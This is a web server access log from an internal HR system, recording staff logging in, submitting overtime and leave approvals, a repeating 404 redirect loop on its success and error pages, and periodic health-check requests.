192.168.40.48 - - [03/Sep/2025:13:48:08 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:08 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131050%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131050&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:08 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131050%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131050&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:09 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:11 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:48:11 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:11 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:48:11 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351
192.168.40.48 - - [03/Sep/2025:13:48:15 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12105
192.168.40.48 - - [03/Sep/2025:13:48:15 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12105 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:13:48:30 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:48:30 +0800] "GET / HTTP/1.0" 200 439
192.168.40.48 - - [03/Sep/2025:13:48:43 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998
192.168.40.48 - - [03/Sep/2025:13:48:43 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:13:49:50 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:49:50 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:50:16 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:50:16 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:51:49 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:51:49 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:52:05 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:52:05 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:55:54 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:55:54 +0800] "GET / HTTP/1.0" 200 439
192.168.40.91 - - [03/Sep/2025:13:56:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:13 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.40.91 - - [03/Sep/2025:13:56:13 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:13 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.40.91 - - [03/Sep/2025:13:56:13 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.40.91 - - [03/Sep/2025:13:56:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.40.91 - - [03/Sep/2025:13:56:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18772
192.168.40.91 - - [03/Sep/2025:13:56:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18772 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:29 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5513 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:29 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5513
192.168.40.91 - - [03/Sep/2025:13:56:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 214502
192.168.40.91 - - [03/Sep/2025:13:56:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 214502 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131051%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131051&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131051%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131051&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
